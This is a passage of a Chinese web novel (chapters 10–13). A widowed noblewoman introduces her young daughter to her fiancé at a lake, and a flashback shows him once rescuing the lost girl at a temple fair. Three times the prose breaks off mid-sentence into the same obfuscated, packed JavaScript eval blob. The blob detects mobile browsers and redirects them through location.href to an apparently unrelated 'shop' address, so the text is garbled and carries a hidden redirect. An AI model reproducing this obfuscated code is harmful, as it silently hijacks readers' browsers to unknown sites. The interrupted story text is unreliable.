兰黛她们退出去之后,除了还在给沈婉怡盘发髻的芸香,屋子里面就只剩下一个梁盈了。 沈婉仪面对梁盈坐着,与她闲聊,“你昨夜睡得那般早,今晨又起了个大早,肚子饿没饿?” 梁盈刚想开口,她的肚子却率先给出了回答,屋子里响起“咕咕”的声音。 声音响亮,闹得她脸都红了,只好一个劲地垂下头,不好意思看沈婉仪。 沈婉仪见她和鹌鹑似的埋着个头,双手捧着她的小脸将她的头抬起,“以后来找娘亲,要是饿了,就先吃点东西再过来。” “知道了吗?”她轻轻晃了晃梁盈的小脑袋。 “知道了。”梁盈乖乖回答。 “娘亲,我们什么时候出去啊?” “先把你的肚子填饱再说。”这边,沈婉仪的发髻已经盘好,她起身牵着梁盈的手走向外间,准备去沈父沈母那里请安再一起用早膳。 今日虽是休沐,但沈父也依旧保持着平时的作息,沈婉仪和梁盈到兰亭苑时,沈母已让人备好了早膳,算好了时间只等她们过来,待二人请过安,便坐下一同吃早膳。 安静吃过早膳,沈父说起她们今日赴约一事,嘱咐道,“你带着阿盈与女婿熟悉是好事,但毕竟之前阿盈与他不曾见过,你切不可操之过急。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922779|192630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “女儿知道。” 沈父的意思沈婉仪当然明白,梁盈知道她的亲爹爹是谁,不能指望她与柳青砚见一面就熟识,所以今日这次见面只让她先认识认识这新爹爹就行。 今日见面的地点是沈婉仪定下的。 她想着梁盈从出生到现在还没乘船游过湖,于是便将今日见面的地点约在了城郊的镜湖,为此她还特意让人安排了一艘画舫。 镜湖四面环山,水面常年澄澈无波,天光云影,青山绿树全部映进湖里,往来行人见了,无一不说像块巨大的天然镜子,“镜湖”这名字便是因此得来。 今日天气正好,适合游湖。 沈婉仪和梁盈到湖边时,湖面上的氤氲雾气都还尚未散去,轻纱一般笼着碧水青山。 和煦的日光穿透晨雾洒向湖面,湖面波光粼粼,像撒了层碎金,远处偶有几只飞鸟掠过水面,只轻轻一点便荡开圈圈涟漪,整片湖水静谧的同时却又充满生机勃勃。 梁盈从下马车开始,眼睛便止不住地滴溜溜乱看,兴奋之情溢于言表。沈婉仪想幸好来之前她答应过她,不然以她的这兴奋激动的劲,指定一下车便看不见人影。 沈婉仪上次比约定的时间早了半个时辰,却没想到还是让对方等了她,沈婉仪虽当时未表露出来,但她还是觉得有些抱歉。 于是今日她在半个时辰的基础上又再提前了一刻钟,为的便是不想再让柳青砚等她。 好在今日柳青砚并没有来得这么早。 沈婉仪牵着梁盈在约定的地点不远处四处转悠,等了半个时辰发现没有人来后,她让船家将画舫开至湖心亭的位置等着她们,她自己则带着梁盈步行前往。 要去镜湖的湖心亭有两条路,一是乘坐船只渡水到达,二是先沿着湖边的曲径到达镜湖正西方向,再通过那里的栈桥去往湖心亭。 栈桥本就离约定的地点不是很远,所以沈婉仪果断选择了后者。 今日来得还算早,栈桥上的人并不是很多,从桥上回头望,岸边枫叶似火,残荷疏影横斜,风掠湖面时,碎金般的波光顺着桥身弥漫过来,闪闪发亮,倒叫人有些睁不开眼。 “好漂亮啊!啊,娘亲,你快来看,这里鱼好大!”梁盈紧贴着栏边,往湖里看,边看边向沈婉仪分享她的新发现。 虽然沈府的池塘里也养了各色各样的名贵鱼种,但梁盈看久了便觉得看腻了,是以在此处看到个头稍大的草鱼都觉得新奇不已。 “啊,那里还有虾!是外祖父画上的那种!娘亲,你快来看啊!” 沈婉仪弓着身子顺着女儿的视线望过去,果然看到一群小虾正在进食。 “嗯,看到啦。你看那边那两只还在打架呢。”沈婉仪朝左边指了指,“你猜谁会赢?” “我猜断了一只触角的那只会赢。” 清润如玉的声音乍然在耳边响起,沈婉仪猛地直起身体回头,却差点和那人的头撞上。 站稳身形,眼睛却还有点花,待视线终于清明,她也终于看清这声音的主人。 “沈姑娘,好久不见。” 是眼里带着笑意的柳青砚。 11. 第 11 章 沈婉仪连忙见礼,却被柳青砚伸手拦住,“多日不见,沈姑娘还是如此客气。” “礼数当尽”还没说出口,身后便陡然响起梁盈雀跃的声音。 “啊,真是那只断了触角的虾赢了!娘亲,你来看,还真让这个人......”说对了。 梁盈的话在她抬头看清她娘亲身边站的人之后戛然而止。 沈婉仪听见女儿的声音,牵她一步上前来介绍道,“这是小女梁盈。” 梁盈被带着愣愣地走上前来,一声不吭。 沈婉仪注意到女儿的呆愣,正想问她发生了何事,她的衣角却被梁盈轻轻扯了扯,梁盈向她做了个“靠过来”的手势。 沈婉仪对女儿这奇怪的反应有些莫名,她看了看柳青砚,发现后者一脸坦然的模样,似乎也不知梁盈为何如此。 但她仍是按照女儿的要求做了,她轻轻蹲下身子,将耳朵贴近梁盈。梁盈伸出一只手拢在嘴边,小声问,“娘亲,这个人是新爹爹吗?” 沈婉仪回答,“是。” 梁盈又道,“那这个新爹爹,我曾见过的。” 出乎意料的一句话。 沈婉仪在听到这句话后的第一时间就看向了柳青砚。 如果这柳大人之前就见过梁盈,那为何上次见面的时候他不曾提过此事? 沈婉仪在心里默默思量,女儿这句话没头没尾的,她也不好去直接质问柳青砚,但她们二人如何认识的,她总要弄清楚。 她缓缓直起身,慢条斯理地理了理裙摆,对上柳青砚的视线时,她面带微笑地解释道,“阿盈说,先前曾见过柳大人。” 她平淡地转述了女儿的话,仿佛柳青砚和女儿先前见过只是一件无关紧要的小事。 但柳青砚知道,她远不如面上表现的这般平静。 他在刚刚沈婉仪看他的那一眼就已然察觉出来她态度的转变,再结合沈婉仪的这句话便猜到了她此举的缘由。 她在为他隐瞒之前见过梁盈一事而感到不满。 虽然她语调平静,甚至面带笑容,但柳青砚毕竟在官场好几年,他能察觉到她这话的用意。 她在暗暗质问他,为何他之前见过她女儿,却在上次与她见面的时候不曾提起,甚至最后让她给梁盈带樱桃酥时,也装作全然不认识的模样。 他的隐瞒让她不禁对他产生了怀疑,怀疑他如此行事究竟有何目的。同时,柳青砚也明白,沈婉仪的这怀疑来自于她作为一个母亲的警觉。 他理解她对女儿的保护,所以他也并未因无端被怀疑从而感到不满或不快。 相反,听完沈婉仪的这句话后,他的视线微微向下,神色温和地看着梁盈的方向,“我确实与阿盈姑娘有过一面之缘,但......我和她做了约定,不能将此事告诉任何人。” 说到这,他顿了顿,掀起眼帘又重新看向沈婉仪,语带笑意,“连沈姑娘也不行。” 在母亲身后的梁盈听到他这样说,顿时探出头来瞪大眼睛气呼呼看着他,无声控诉,“你这不还是让我娘亲知道了吗!”全然不提是她自己向她娘亲提起这件事的。 柳青砚看着小姑娘生气的模样,露出一个无奈的笑容。这小姑娘的脾气可比她娘亲火爆,想到她的脾气可能是像了某个人,他脸上的笑意淡了一两分。 沈婉仪顺着柳青砚的视线回头看,顿时看到了正缩回头的梁盈,当下便知道梁盈肯定还有其他事没告诉她。 女儿在外出时认识了一个陌生人,还和这个陌生人做了约定,甚至还约定了不能告诉自己这个做母亲的。 沈婉仪感觉自己这个母亲做的很失职。 她低头问梁盈,“这个叔叔说的是真的吗?” 那边的柳青砚听见“叔叔”两个字挑了挑眉,但沈婉仪的目光都放在梁盈身上,并未看见他的小动作。 梁盈久久沉默,最后用细若蚊吟的声音回答,“是真的。” 沈婉仪缓缓吐出一口气,让自己的语气尽量保持轻松,“那阿盈现在可以告诉娘亲这件事了吗?” 梁盈伸出两只手来抱着她的手臂撒娇道,“可以是可以,但是娘亲你要先保证你不能生气。” 一般梁盈这么说,沈婉仪就知道这必定又是一件让她生气的事情。 但是这是在外人面前,她也不好发作,于是她竖起手指发誓,“娘亲保证不生气。” 她发誓的时候姿势倒是做得规矩,一看便不是第一次这样做,柳青砚见她如此一本正经的模样,不禁失笑。 听到动静,沈婉仪朝这边幽幽看过来一眼,柳青砚察觉到她望过来的眼神,顿时收敛了笑意,故作无事地移开目光看向远处的青山。 母亲立的誓言从来都是说到做到,梁盈见母亲向她保证后,才将事情的经过娓娓道来。 “其实我还答应了表姨也不说来着......”梁盈的声音怯怯的,似乎在为出卖了表姨婆她们而感到歉疚。 “表姨?” 梁盈说的表姨是沈婉仪的表妹,张芷柔。沈婉仪的母亲是没有兄弟姊妹的,但沈婉仪的外祖母有一个姐姐,她的孩子便是这张芷柔的母亲。 张芷柔的母亲郑锦,比林氏小两岁,如今是礼部侍郎张通的夫人。 沈婉仪的母亲林氏,全名林惜文,是宁国公夫妇唯一的孩子。她的孩童时期也如同梁盈一般渴望玩伴,林氏母亲便经常邀请自己姐姐生的女儿郑锦来宁国府玩,自己也经常带着女儿去串门。 日子一长,林惜文便和郑锦便成了闺中密友,再加上二人又是表姐妹关系,更是无话不谈。二人现在都人到中年,仍然时常见面。 张芷柔出嫁前,郑氏来沈国公府时也经常把女儿带上,这一来二去,沈婉仪与这表妹也算熟识,不过表妹成亲后,她们见面的时间便少了许多,也生疏了不少。 她这表妹当年不过十五岁便嫁了当时的登科状元曲肃,十六岁她便生下了一个叫曲连奚的男孩,过了两年,她又生下一个女孩,叫曲瑶。 曲连奚比梁盈大四岁,曲瑶比梁盈大两岁。 梁盈与沈婉仪一同回沈府后,侍郎夫人郑氏受林氏所托,每次到沈府来时,都会把自己的外孙和孙女带上。 梁盈要守孝,不能出府四处玩耍或结交玩伴,沈母怕她孤独,便拜托郑氏来府上时将两个孩子一同带上,这样一来,几个表兄妹也可相互认识。 近两年表妹偶尔也会和孩子一同前来。 沈婉仪在脑海中算了算日子,今年梁盈和她这表姨统共就见了两次面,一次是正月十五,永兴寺的敬香法会;另一次便是前不久的中秋,沈府举办的家宴。 中秋的那次,大家都一直待在沈府里没有外出过,想来便是正月十五的那次了。 沈婉仪努力回想那天,她记得那日原本母亲是和郑氏约好,两家人带着孩子一起去永兴寺的,可是那日早晨江霁月的府上出了一点事,她便去了江府,没与梁盈她们一起去永兴寺。 最后是沈母带着梁盈去的。那晚梁盈回来兴奋地告诉她,这是她第一次和连溪哥哥和阿瑶姐姐一起出府玩,她可开心了。她还告诉她,永兴寺那天的人可多了,她从来没见过那么多的人。 现在看来她必是在永兴寺遇到的柳青砚,因为那日沈府的马车就只去了那一个地方,再也没有去过其他。 若说梁盈是在马车上看见的又不太实际,若只是匆匆一瞥,必定不会让梁盈隔了大半年还能记起这么一个人来,那日在永兴寺必定发生了其他的事,才让梁盈对柳青砚如此记忆深刻。 “是在永兴寺遇见的,对吗?” 梁盈抬头看了看那边的柳青砚,点了点头。 “无妨,你说吧,娘亲不会告诉表姨她们的。” 梁盈想起那天的场景,那是她第一次和连奚哥哥和阿瑶姐姐一同出府去,虽然是去敬香法会,但她仍是喜不自胜。 那日是元宵,路上的行人比起往日要多个不少,商贩叫卖的声音也比往日要更加起劲。 梁盈当时坐在马车上,掀起车帘看向外边,鳞次栉比的摊位卖着各式各样的东西,流动的小贩手里的草把插着琳琅满目的小玩意儿,还有画糖画的老人,捏泥人的摊主,还有卖花灯的...... 书上说的人潮如织,应该便是此等模样了。 梁盈目不暇接地看着外面的热闹景象,若不是想着母亲嘱咐她要听外祖母的话,她真想立刻拉着连奚哥哥和阿瑶姐姐的手一起冲下去,融入到人海里。 可是她知道那是不可能的,于是只好眼巴巴地看着。 旁边的曲瑶见她这没见过世面的样子,偷偷在内心翻了个白眼,对她这孤陋寡闻的模样略带鄙夷。 坐在她旁边的曲连奚注意到她的反应,小声警告她,“阿瑶,不可无礼。” 马车很大,大人们在一旁说着闲话,也就没注意到孩子们的小动作。 曲瑶对哥哥这老好人的态度表示不屑,她哥哥明明也和她一样烦她,每次都还要以哥哥的口吻教训她,真是虚假! 要不是每次外祖母来沈府都要带她来,母亲也说多和梁盈走动不是坏事,她才不愿意跟这个跟屁虫玩呢!每次来沈府,她和哥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922780|192630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哥走到哪她就跟到哪,哪里都有她,烦死了。 今年的敬香法会好不容易才说动外祖母把她带上,居然这个跟屁虫也来了,她的好心情一下就被毁去了不少。 不过待会到了永兴寺,外祖母和表姨婆可能会去不同的大殿上香,她应该就不会跟着了。若是实在跟着,她到时候一定要甩开这个跟屁虫才行,曲瑶暗自在心里想着。 今日永兴寺敬香法会,去永兴寺的人也络绎不绝,马车行至永兴寺门前时已然快晌午了,一行人便吃了斋饭才前往敬香法会。 永兴寺一共有十来个殿,敬香法会是在最里边的正殿举行。梁盈注意到,一路进来的每个殿都是人山人海,而且最外边几个殿的殿门前,也有许多的摊贩正在叫卖。 刚踏进正殿,旁边便走来一个小和尚讲解今日敬香法会的流程,敬香的人需先请香,再焚香,最后插香完成,跪拜祈福便算圆满结束。 听上去很简单,但小和尚又补充道,“请香时需要默念经文,最少得念一个时辰,念经的时间越长越是能考验诚心。小孩可以不用念经,待同行长辈念完之后一同完成接下来的流程便也算圆满。” 以梁盈对外祖母的了解,外祖母请香念经的时间肯定会比一个时辰长的。她在心里默默盘算着,待会外祖母在此念经的时候,她就可以和连奚哥哥他们偷溜出去玩,然后,她再赶在外祖母念完经之前回来,这样外祖母就发现不了啦! 小和尚说完,沈母、郑氏、张氏便预备去请香。 沈母来之前包下了一间僻静的禅房,请香前她便让兰黛和余妈妈带着几个孩子去禅房,以免他们四处乱走找不到人,一起去的还有郑氏和张氏带的几个侍从。 梁盈看着这么多人跟着,开始想法子待会怎么才能偷偷溜出去。待进了禅房,她仍然没想出来,却见曲瑶正在四处查探屋子。 “阿瑶姐姐,你在找什么?” 曲瑶听到她的发问,立马给她比了一个嘘的手势,“想出去玩就小点声。” 梁盈立刻就闭上了嘴,旁边的曲连奚见她们想出去玩,便劝她们安分一点,乖乖等着请香结束。 曲瑶没有理他,因为她终于通过不懈的努力找到了一道小的暗门,之前她便听说过这禅院里的有些房间是可以互相联通的,却没想到还真的被她给找着了! 梁盈见可以出去玩,眼睛也跟着亮了起来。 发现了暗门,之后的事便顺利多了,梁盈跟着曲瑶从暗门偷溜出去玩,曲连奚不为所动,但他又实在拗不过她们的纠缠,最后只好答应留在屋子里面给她们打掩护。 梁盈出来时既紧张又兴奋,不过一开始她也不敢跑太远,只跟着曲瑶在禅院周边的几个殿四处逛玩,她看看这,看看那,只觉得一切都新鲜极了。 不过玩到后来,她便高兴地有点得意忘形了,她央求曲瑶带她去最外边的那几个殿,被曲瑶拒绝后,她便赌气想要自己一个人过去,她想那里离得又不远,她记得路,完全可以赶得回来。 曲瑶看着她离去的背影,想着她还没甩掉她呢,她反倒先把自己给甩了。这下好了,跟屁虫终于没有跟着她了,她可以自己一个人玩了。 梁盈显然低估了人群的密集程度,也显然高估了她对路的熟悉程度。 当她穿过五、六个殿,却发现自己还没到记忆中的地方时,她终于懵了。她被人群推着挤来挤去,一时不知道自己该往哪里走。 她开始漫无目的乱转,想着能不能转回自己和曲瑶分离的地方,可是当天色一点点暗下来,她身边的人越来越少,她却还没看到禅院时,害怕和恐惧顿时席卷了她。 可这时她已经走了一天了,她走累了,也走不动了。梁盈站在一棵挂满祈福红绸的大榕树下,望着随风飘荡的红绸,开始后悔自己跑了出来。 她无助地蹲下了身体,眼眶在那一瞬间涩得发疼,眼泪也不受控制地涌了出来。 就在这时,视线忽然窜过一片黑影,她被这黑影吓得尖叫一声,猛地后退,却被脚下的碎石绊了一脚,眼见就要仰头摔下去时,身体却被一只手掌温柔有力的拖住了。 梁盈踉跄着站稳,愣愣地回过头看着背后扶住她的人,一袭白衣,腰间挂着的玉佩在昏暗中泛着微光,四周廊檐下的灯笼被风吹得轻晃,落在他身上的光影也疏疏落落。 那“人”清俊温润的眉眼在阑珊灯火里忽明忽暗,在这朦胧的夜色里几乎辨不清是人还是鬼。 他问,“小姑娘,你迷路了吗?” 梁盈终于哇的一声哭了出来。 柳青砚:“?” 12. 第 12 章 “你......你是......白无常吗?”梁盈抽噎着,断断续续地问。 柳青砚这才明白为什么小姑娘看见他便哭了出来,感情是把他当做鬼,被他给吓哭了。 不过这也确实不怪她,天色已暗,此处又是偏殿。四下空旷,人影寥寥无几,他穿这一身白衣猛然出现确实有些渗人。 他努力让自己的表情看上去还算亲切,温柔地解释道,“我不是白无常,我是人。”想了想,觉得有些苍白,于是又补充道,“这里可是寺庙,怎么会有鬼呢?” 梁盈似乎也觉得这话有些道理,哭声渐渐小了下来,但她也没有完全相信,她继续追问,“那你走路怎么没有声音?” 柳青砚有些哭笑不得,他走过来时,这小姑娘蹲在那里偷偷落泪,注意力不在他这边,当然也没听到他的脚步声。 但为了让小姑娘信任他,他还是选择耐心回答了她的疑问,“是有声音的,只是你刚刚在那里哭,没有注意到。” 有些丢脸,梁盈摸了一把眼泪,顿时止住了哭声,“我没有哭,我只是眼睛有些疼。”她说这话时,甚至还吸了吸鼻子。 哭没哭的倒也不是那么重要,当务之急是赶紧把她送回去,这小姑娘也不知道出来了多久,那个人肯定担心极了。 柳青砚没有和她争执,他只是问,“你还记得你娘亲在哪里吗?我把你送到你娘亲身边。” 听他陡然提起自己的娘亲,梁盈偏了偏头,有些疑惑,“娘亲?娘亲去找江姨了啊,她没有来这里,我是和外祖母一起来的。” 原来她没有来这里,看来今日是无法见到她了。 “那你还记得你的外祖母在哪里吗?我带你去找她。” “外祖母在正殿请香呢。”梁盈答道,忽地,她想起了什么,猛地摇头,“你不能带我去找祖母,祖母要是知道我偷跑出来了,她会生气的!” 这小姑娘原是偷跑出来的,往日瞧着她周身总有人守着,今日却单单只有她一个,难怪如此。 柳青砚尊重她的意愿,询问道,“那你说我应该带你去何处比较好?” 梁盈想了想,答,“禅院!就是那个院子里有许多松柏的地方。” 她这样一说,柳青砚便知道是何处了。 这永兴寺的住宿主要都在偏殿的禅院,若是梁盈直接说是禅院,他还不知道究竟在何处。不过她既然说是有许多松柏的地方,那他就知道大致的方位了。 永兴寺东北方向的禅院,那里靠近山林,环境清幽,也是离正殿最近的休憩住所,是以许多达官贵人要是来永兴寺,都会优先选择此处。 知道了位置便好办了,柳青砚伸出手,道,“走吧,我送你回禅院。” 梁盈下意识地便想要握住眼前的手,可是手伸到一半,却停住了。她仰起小脸,眼底添了几分狐疑和戒备,乌溜溜的眸子直勾勾盯着面前的人,声音也带了几分警惕,她问:“你是坏人吗?” 现在才想起来怀疑他的身份,是不是有些迟了? 柳青砚刚想开口,却在对上那道略带质疑的视线后,欲言又止。 纵使两人的身量差距导致她在仰视她,可她这样看着他的模样,和她娘亲当初居高临下的眼神实在是有些相像,这让他有些恍惚。 梁盈见他不回答,缩回了手。 她的动作令柳青砚回过神来。 柳青砚看着她在原地怯生生的模样,心里轻轻叹息,幸好这小姑娘今日遇到的人是他,若是遇上其他人,以这小姑娘的警惕程度,指不定要被骗至何处了。 “我如果是坏人,早就将你绑起来抓走了,还会在这里与你搭话吗?” 好像是这么回事,梁盈想了想,还是选择握住了他的手。 “那我们快走吧,要不然待会外祖母该派兰黛姐姐她们来找我了。” 明明上一秒还在质疑他的身份,现在却立马选择跟他走,梁盈这变脸的速度令柳青砚都有些没反应过来。 可刚走了几步,梁盈便停住了。 柳青砚摸了摸她的头,问,“怎么了?” “我走不动了......我今天已经走了一天了。”言下之意,你能不能把我抱回去或者背回去? 说这话时,梁盈似乎也觉得有些不好意思,于是越到后面,声音越来越小。 柳青砚还未等她说完便走在了她的面前蹲下,“上来吧。” 梁盈见他如此耿直,倒也不客气,立刻便蹦到了他的背上,“走吧!”不难听出声音中的喜悦。 柳青砚动作轻柔地搂紧背上的人,他忽然生出一种不真切的感觉。 这个小姑娘,是她的女儿,他之前也只远远的见过几面,此刻却在他的背上。小姑娘这么全无保留地相信他,这让他不禁产生了一种错觉,一种和她也亲近了几分的错觉。 放下戒备之后,梁盈又重新回归了刚刚兴奋的那种状态,话也多了起来,她双手环住柳青砚的脖颈,自我介绍道,“我叫梁盈。”声音宛若黄鹂。 “对了,你刚刚问我娘亲,你认识我娘吗?” 柳青砚垂下眼帘,遮住眸中的情绪,“认识。”声音淡淡的,听不出其他情绪。 “噢。” “那我娘亲认识你吗?”梁盈又问。 柳青砚沉默许久,才开口道,“应该不认识。”顿了顿,他又补上一句,“我也不知道。” “噢,那你怎么认识我娘亲啊?” 柳青砚这次沉默的时间比上次还久,久到梁盈都以为他不会回答这个问题了,耳畔才传来他轻轻的声音,“只远远的见过几面。” 柳青砚说这话时,脑海中正反复回放那日的画面。 那是建宁九年的冬天了。 明明是难得的好天气,他却体力不支地倒在脏污不堪的泥坑里,积雪消融的冰棱混着泥泞,浸透了他单薄的衣衫,湿冷黏腻地贴在他的身上,狼狈不堪。 他的浑身上下皆是横七竖八的殷红血痕,他还来不及喘口气,头发就被人猛地抓起,一个粗犷的男声在他耳边炸响,“你还给老子跑,跑啊,你咋不跑了?” 接着是远处一个女子清凌凌的声音,她在问,“抓到了吗?” 那男声顿时泄了气,细声细气地恭敬回答,“回姑娘,抓到了。” 那男声又对着他命令道,“抬起头来,姑娘要见你。”他边说着,边加大了扯着他头发的力度,他只能被迫的仰起头。 刺眼的光线让他控制不住流出生理性的泪水,柳青砚适应了好一会儿才勉强睁开眼,随后便对上了他这辈子都难以忘怀的一双眼。 那是一对淡漠如雪的眼眸,正居高临下地望着他,漆黑的瞳孔里尽是审视和探究。 眸子的主人伸出白皙纤长的手指掐住他的下颚,温热又细腻的触感,他被迫抬起脸接受她的注视,那样直白的目光,令他忍不住想别开脸。 “不是他。”被称为“姑娘”的人淡淡下了结论后,便收回了停留在他脸上的手,他脸上的温热触感也顿时抽离。 随着那女子发话,扯住他头发上的手也收了回去,他低下头,视线却依旧停留在那女子身上。 她身旁的侍女适时地递上手帕,她顺手接过擦了擦手,便吩咐侍女拿去扔掉。 她在嫌弃他,意识到这点,他咬紧了下唇,忽然生出几分不甘的意味。 “啊,那人是我的表姨母,遭了,她看见我了!” 梁盈一惊一乍的声音,瞬间就将柳青砚的思绪扯了回来。 回过神来才发现,他们已经走出了偏殿,来到了距离正殿还有三个殿的菩萨殿。 回到了主殿,人又重新多了起来,此时夜幕已经降临,寺里的灯会已然开始了,长廊下到处都挂满了流光溢彩的各种彩灯。 柳青砚顺着梁盈说的那个方向望去,果然看见了一个身形单薄的女人,她的手里也牵着一个女孩,看起来比起梁盈大不了多少。 张芷柔见到梁盈,提到嗓子眼的心总算放了下来。 她刚刚和娘亲、表姨母在一起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922781|192630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 请香,中途派人去查看几个孩子的动静,回来的人说,连奚少爷说两个妹妹都已经睡下了,她这才放下心来。 念经念了快一个半时辰,却见旁边的母亲和表姨母都没有休息的意思,她便想先动身回去看着几个孩子。 哪知还未到禅院,便在中途的天王殿瞧见了曲瑶,曲瑶一见到她便想跑,却还是被她抓住了。 她一看见曲瑶,心里便暗道大事不妙,女儿跑了出来,怕是另外两个孩子也跟着跑了出来,今日这永兴寺人这么多,孩子要是迷了路或是被人抱走了,后果简直不堪设想。 她抓住曲瑶的第一句话便是质问起另外两个孩子的下落,曲瑶支支吾吾,却还是实话实说。 在得知哥哥没有出来后,张芷柔的心稍稍放下了一点,可这一切在得知梁盈和女儿分道扬镳后,她的心顿时又重新提到嗓子眼。 梁盈可是沈国公夫妇的亲外孙女!若是她跟着自己的女儿出来跑丢了,那她,她娘亲怎么和她的表姐,表姨父和表姨母交代? 好在女儿还知道梁盈是往何处去的,她当下便拉着女儿往外殿走去。 曲瑶其实不懂为什么母亲那么大动干戈,她甚至还在想,是梁盈把她给丢下自己离开的,为什么母亲却对着她发这么大的火。 张芷柔边往外走边思考,要不要回去禀明母亲和表姨母,让她们派人帮着一起寻找,毕竟人多力量大。 可是这一想法甫一出来便被她自己给否决掉了,她不能自己把这件事闹大。 现在好的是,梁盈跑丢了这件事目前还没有几个人知道,甚至从刚刚女儿的问话中也可以得知,连表姨母她们派过去的人她们也还不知道。 她现在只要去外殿将梁盈给找到,带她回去,就能当做此事没发生过。若是她现在便去通知众人来帮忙,事情闹大了不说,要是到时候人还没找到岂不是得不偿失。 张芷柔想着,加快了脚上的步伐。 好在老天对她还不薄,她走出去还没有两个殿,便看见了梁盈。乌发雪肤,两只眼睛又大又圆,她在人群中一眼便注意到了她,即使她被人给背着。 柳青砚在张氏靠过来时便已经把梁盈放下,为避免被误会,他特意解释道,“这孩子走丢了,我便把她送回来,好在她还知道她的住处在何处。” 张芷柔见他穿着打扮不凡,知道他必定不是普通人,于是行了个礼,表示感谢,“多谢大人。” 她怕时间久了,母亲和表姨母也出来找人,于是并不想过多停留,牵起梁盈欲走,“大人之恩,妾身改日再登门重谢。” “不必。” 倒是个没有所图的,张芷柔想,莫不是欲擒故纵,想要的更多?不过,她可没时间在这和他纠缠了,礼貌地颔了颔首,转身牵着两个孩子便走。 走出去没两步,柳青砚就见梁盈仰起小脸对着她表姨母不知说了什么,松开了牵住她的手,跑了回来。 他摸了摸她的头,温柔地问,“怎么了?” 梁盈给他做了个手势,让他蹲下,他听话照做。 梁盈在他耳边悄悄道,“我们做个约定,今日之事,你谁也不能告诉,包括我娘亲也不行。” 要是让她娘亲知道她偷跑出来还迷了路,她绝对又要被训了! 柳青砚答应道,“好。” “那你和我拉钩。” 一大一小两根小拇指勾在一起,许下了只有他们两个人才知道的约定。 “拉钩上吊,一百年不许变。” 随着手印重重按下,梁盈的脸上又重新洋溢起轻松的笑容。 “那我要回去啦,再见!”她说完这句话便往回跑,跑了两步,又回过头来,将两只手掌拢在嘴边,喊道,“对了,谢谢你背我回来!” 柳青砚望着那双灿若繁星的眸子,唇角也不自觉露出一抹笑意,“不用谢,快回去吧。” 梁盈朝他狠狠摆了摆手,转身去寻她表姨了。 柳青砚看着几人消失在人群中,心口却弥漫出一股暖意。 13. 第 13 章 张氏将两个孩子带回去时,特意经过正殿,待在门口看到自己的母亲和表姨母还在殿中闭目专心致志请香时,她的心终于彻底放回肚里。 她刚刚回来的路上,脸色就没有好过,梁盈不是自家孩子,她不好严厉斥责,于是身为她亲身女儿的曲瑶便遭了难,被母亲从头到尾地训斥了好一通。 张氏并不是厚此薄彼,而是她知道,今天这事若真是细究,曲瑶的问题比起梁盈实在是大了不少。 先不说这暗门本就是女儿私自打开,才让两人得以偷跑出来。出来后,身为年长的曲瑶既不把妹妹看好,反倒放任她四处乱走,倘若不是她运气好及时出来将人给找到,她实在不敢想象会出现什么样的后果。 曲瑶被母亲责怪,内心很是委屈,明明是梁盈自己也想出来,而且是她先把自己丢下到处乱走的,怎么现在反过来全成了她的不是。 况且母亲训斥她,却不训斥梁盈,好不公平! 她愤愤不平却也不敢为自己辩驳,只好一声不吭地垂下头耷拉着。 梁盈见表姐被训得灰头土脸,在边上跃跃欲试地想为表姐解释,等她好不容易找到空挡插上话,表姨母却只给她留下一句,“阿盈,你别管。”的话来。她顿时有些手足无措,不知道该说些什么。 待进到禅院,张氏环顾四周,待确定四下无人后她蹲下身来,与两个孩子的视线持平,她的表情很是严肃,“今日之事,待会你们原路返回后,就算到此结束。若是不想再生事端,你们便谁也不能告诉,知道了吗?” 两个孩子都不想再被其他长辈训斥,听到这话,立刻便答应下来,“知道了。” 张氏不放心,还特意嘱咐梁盈,“阿盈,你也不想你娘亲和外祖母担心的,是吧?” 梁盈眨了眨眼,点点头。 她这副乖巧的模样让张氏忍不住摸了摸她的小脸,“那你更要保守秘密,不然你娘亲她们知道了,肯定要担心死了。” 梁盈似懂非懂,但为了不让娘亲和外祖母她们担心,她还是许下了承诺,“表姨母放心,我谁也不会告诉的。” 得到两个孩子的保证后,张氏便叫二人从出来的地方回去,她自己则去前门将人给叫开。 她还特意提醒她们叫连奚也一起保守秘密,并且一定要提到是她的命令,不然以那个小古板的品性,今日之事恐怕就瞒不住了。 事情进行得很是顺利,等到张氏装作无事发生的模样来正门唤人时,几个孩子才从门里出来,仿佛真的听话地在屋子里待了一下午。 一行人去往正殿时,沈母和郑氏那边刚好也刚请完香,于是几个孩子便跟着长辈们一起走完敬香的全部流程,众人出永兴寺时已快到戌时了。 再后来,便是梁盈回府与沈婉仪分享今日的见闻了。不过她一直谨记着答应那个男人和表姨母的话,所以关于她走丢一事她一个字也没有向沈婉仪透露出来。 要不是今日她又重新见到这个人,这件事恐怕她永远都不会提起。 